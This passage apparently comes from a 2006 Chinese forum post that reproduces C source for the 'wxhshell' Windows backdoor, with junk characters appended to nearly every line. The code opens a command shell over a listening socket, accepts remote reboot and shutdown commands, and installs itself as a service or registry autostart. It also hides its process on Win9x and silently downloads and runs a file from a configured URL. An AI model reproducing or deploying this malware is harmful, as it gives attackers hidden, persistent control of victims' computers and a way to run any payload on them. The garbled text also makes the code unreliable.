  // 帮助 <*t4D-os  
  case '?': { U!XS;a)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A:y.s;<L 0  
    break; 3+J0!FVla  
  } v|ox!0:#  
  // 安装 ;f,c't@w  
  case 'i': { JbO ~n )%x  
    if(Install()) *_ +7ni  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gn)y> AN  
    else "lNzGi-H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]I/Vbs  
    break; M0| 'f'  
    } hUz[uyt  
  // 卸载 N$TL;T>  
  case 'r': { cECi')  
    if(Uninstall()) htm{!Z]s0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q> s-Y|  
    else 4wi(?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w[_x(Ojq;  
    break; =SD\Q!fA  
    } \<vNVz7.D  
  // 显示 wxhshell 所在路径 fbFX4?-  
  case 'p': { ]O{u tm  
    char svExeFile[MAX_PATH]; "+?Cz !i   
    strcpy(svExeFile,"\n\r"); aS|wpm)K>8  
      strcat(svExeFile,ExeFile); * MM[u75  
        send(wsh,svExeFile,strlen(svExeFile),0); }X;U|]d  
    break; CzV(cSS9-  
    } {F N;'Uc  
  // 重启 iqhOi|!  
  case 'b': { :Vg}V"QR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dbS +  
    if(Boot(REBOOT)) /D_+{dtE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `]$?uQ  
    else { M+wt_ _vHf  
    closesocket(wsh); #a| L3zR5v  
    ExitThread(0); $jd<v1"o  
    } aTGdmj!  
    break; >x3ug]Bu  
    } Px M!U!t  
  // 关机 kl1Y] ?z}  
  case 'd': { E3a_8@ZB7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9kKnAf4Z  
    if(Boot(SHUTDOWN)) D\^WXY5e%y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xjdw'v+qZo  
    else { G6K  <  
    closesocket(wsh); j%<}jw[2  
    ExitThread(0); 4R>zPEo  
    } o2-@o= F  
    break; ;r=b|B9c  
    } b'ml=a#i 0  
  // 获取shell V 'X;jC  
  case 's': { :L0/V~D  
    CmdShell(wsh); Lc<eRVNd,  
    closesocket(wsh); %lr|xX  
    ExitThread(0); ^IgY d*5  
    break; jnu Y{0(&  
  } nzX@:7g  
  // 退出 R.j1?\  
  case 'x': { |m,VTViv;i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gLL-VvJ[  
    CloseIt(wsh); 8_uzpeRhJc  
    break; [O-sVYB  
    } 5 waw`F  
  // 离开 ,]Zp+>{  
  case 'q': { }8'&r(cN4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |0bc$ZY:  
    closesocket(wsh); 2aw&F Z?  
    WSACleanup(); Bb Jkdt7  
    exit(1); v| z08\a[  
    break; %K 4  
        } DE{h5-g  
  } ZF#Rej?  
  } o%M<-l"!/  
OySy6IN]q  
  // 提示信息 _-cK{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {bF1\S]2  
} i}TwOy<4s  
  } y[0`hSQ)~  
ned2lC&'d>  
  return; !- ~ X?s~L  
} OQlG+|  
Aj"7q  
// shell模块句柄 E@QA".  
int CmdShell(SOCKET sock) h. hjz?  
{ Aq#/2t  
STARTUPINFO si; ,[48Mspp  
ZeroMemory(&si,sizeof(si)); $*~Iu%Az  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~hN~>0O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ['X[qn  
PROCESS_INFORMATION ProcessInfo; ]]iO- }  
char cmdline[]="cmd"; FT\?:wpKa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cep$_J a  
  return 0; o96:4j4  
} Ef7:y|?  
BQgoVnQo_c  
// 自身启动模式 A{,n;;  
int StartFromService(void) )3?rXsSR  
{ k1N$+h ;\  
typedef struct : iY$82wQ  
{ b^V'BC3  
  DWORD ExitStatus; PjqeE,5  
  DWORD PebBaseAddress; XYbyOM VI  
  DWORD AffinityMask; ?{J!#`tfV  
  DWORD BasePriority; eG] a zt  
  ULONG UniqueProcessId; wODvc9p}]  
  ULONG InheritedFromUniqueProcessId; hCc0sRp  
}   PROCESS_BASIC_INFORMATION; lxb8xY  
/NBTvTI  
PROCNTQSIP NtQueryInformationProcess; H30OUrD  
@Jv# fr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z%"Ai)W/{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z?.(3oLT  
^)\+l%M  
  HANDLE             hProcess; `ti8-  
  PROCESS_BASIC_INFORMATION pbi; delf ]  
r4k nN 2:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f{Qp  
  if(NULL == hInst ) return 0; -Wjh**  
K}x/ BhE+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yqcM(,0]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tEhr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OeTu?d&N  
i2F(GH?p[  
  if (!NtQueryInformationProcess) return 0; aw$Y`6,S  
xks?y.wA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zNtq"T[  
  if(!hProcess) return 0; Lx+`<<_dJ  
g6' !v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IcoowZZ   
70iH0j)  
  CloseHandle(hProcess); >!BFt$sd  
TgaYt\"i[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <f%/px%1  
if(hProcess==NULL) return 0; 9Q[>.):  
k ojG- M  
HMODULE hMod; r,'O ).7  
char procName[255]; /7p>7q 9g  
unsigned long cbNeeded; *TnzkNN_,  
nxRwWj57  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8M93cyX  
vl5){@   
  CloseHandle(hProcess); sd!sus|( R  
dB)9K)  
if(strstr(procName,"services")) return 1; // 以服务启动 %,?vyY  
#<#%>Y^  
  return 0; // 注册表启动 ZgF/;8!~V-  
} 76MsrOv55  
1_3?R }$Wl  
// 主模块 .uDM_ 34  
int StartWxhshell(LPSTR lpCmdLine) fv==Gu%{  
{ {%7<"  
  SOCKET wsl; ~I$}#  
BOOL val=TRUE; =R9*;6?N  
  int port=0; 8-A|C< "  
  struct sockaddr_in door; ?aJ6ug  
Bcaw~WD  
  if(wscfg.ws_autoins) Install(); bF6gBM@*  
S:Xs '0K_  
port=atoi(lpCmdLine); (Jpm KO  
lPS*-p#IZ  
if(port<=0) port=wscfg.ws_port; &7][@v  
/co%:}ln  
  WSADATA data; j`9Nwa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q7k.+2  
QNJ\!+,HV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tR O IBq|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CKC0{J8g  
  door.sin_family = AF_INET; 4<Kgmy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F@<MT<TRf  
  door.sin_port = htons(port); X%`KYo%  
B/_6Ieb+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EIK*49b2  
closesocket(wsl); 6+ANAk  
return 1; {Q<0\`A  
} 1*c>I@I;  
A\g%  
  if(listen(wsl,2) == INVALID_SOCKET) { =h[yA f  
closesocket(wsl); <(uTst  
return 1; 'a_s%{BJXg  
} qb$_xIQpDL  
  Wxhshell(wsl); 8r^j P.V  
  WSACleanup(); r#I>_Utsy  
2fP~;\AP  
return 0; 9fCO7AE0#  
<?4cWp|i  
} -pX|U~a[  
{9;eH'e  
// 以NT服务方式启动 >]?Jrs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U#"WrWj  
{ `U#Po_hq  
DWORD   status = 0; x _|>n<Z  
  DWORD   specificError = 0xfffffff; qOgtGN}k  
bQV("~#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *I/A,#4r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gPp(e j7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %09*l%,;  
  serviceStatus.dwWin32ExitCode     = 0; `{L{wJ:&a  
  serviceStatus.dwServiceSpecificExitCode = 0; Z fqQ {_  
  serviceStatus.dwCheckPoint       = 0; L6kZ2-6  
  serviceStatus.dwWaitHint       = 0; @ AggznA8  
4L11P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j88=f#<  
  if (hServiceStatusHandle==0) return; 3B -NY Ja  
xfes_v""  
status = GetLastError(); Ff&R0v  
  if (status!=NO_ERROR) F7V6-V{_  
{ k%!VP=c4s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v*XkWH5  
    serviceStatus.dwCheckPoint       = 0; uZ<%kV1B  
    serviceStatus.dwWaitHint       = 0; , | <jjq)  
    serviceStatus.dwWin32ExitCode     = status; -[<vYxX:h:  
    serviceStatus.dwServiceSpecificExitCode = specificError; K+-zY[3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N+hedF@ZU  
    return; *LEu=3lp%>  
  } bkkSIl+Q  
*bU% @O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uYabJqV  
  serviceStatus.dwCheckPoint       = 0; ]'6'<S  
  serviceStatus.dwWaitHint       = 0; K7S754m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O&52o]k5l  
} d[" x= [f  
3Cd<p[%3#,  
// 处理NT服务事件,比如:启动、停止 [xWEf#', !  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mDlCt_h  
{ W0U`Kt&~a  
switch(fdwControl) /t$*W\PL@  
{ niQ+EAD  
case SERVICE_CONTROL_STOP: i<bxc  
  serviceStatus.dwWin32ExitCode = 0; 5U3qr*/;m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J+0/ :00(  
  serviceStatus.dwCheckPoint   = 0; EZ*t$3.T  
  serviceStatus.dwWaitHint     = 0; Dl&PL  
  { x g{VP7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f~U#z7  
  } G~`'E&/  
  return; U-1VnX9m  
case SERVICE_CONTROL_PAUSE: % kJh6J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nZ541o@t9  
  break; xl|ghjn  
case SERVICE_CONTROL_CONTINUE: $\0TD7p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OCwW@OC +  
  break; gu^_iU  
case SERVICE_CONTROL_INTERROGATE: cB_pyX9Z  
  break; r)c+".0d^  
}; G I&qwA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); An/>0 5|  
} 9}.,2JE  
j6RJC  
// 标准应用程序主函数 Z 4\tY^NI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +{ S Maq  
{ L!?v BL  
2 ae w6~  
// 获取操作系统版本 FoQ?U=er  
OsIsNt=GetOsVer(); 4v0dd p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KUlB2Fqi  
Ko4)0&  
  // 从命令行安装 {qY3L8b  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'w'Dwqhmr  
U 7EHBW  
  // 下载执行文件 Bl=nj.g  
if(wscfg.ws_downexe) { ,n^TN{#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ; A x=]Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); )\RzE[Cb  
} ix(U:'{  
cO8`J&EK  
if(!OsIsNt) { l&\t f`~  
// 如果时win9x,隐藏进程并且设置为注册表启动 !NIL pimi  
HideProc(); zoR,RBU6  
StartWxhshell(lpCmdLine); $xLEA\s  
} e',hC0&S  
else F19;RaP+  
  if(StartFromService()) %uh R'8"  
  // 以服务方式启动 l}dj{s  
  StartServiceCtrlDispatcher(DispatchTable); CM`x>J  
else RA#\x.  
  // 普通方式启动 {bW"~_6}  
  StartWxhshell(lpCmdLine); qw6EPC  
9cl{hdP{  
return 0; Z@<q/2).|  
}
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只看该作者 1 发表于: 2006-10-10
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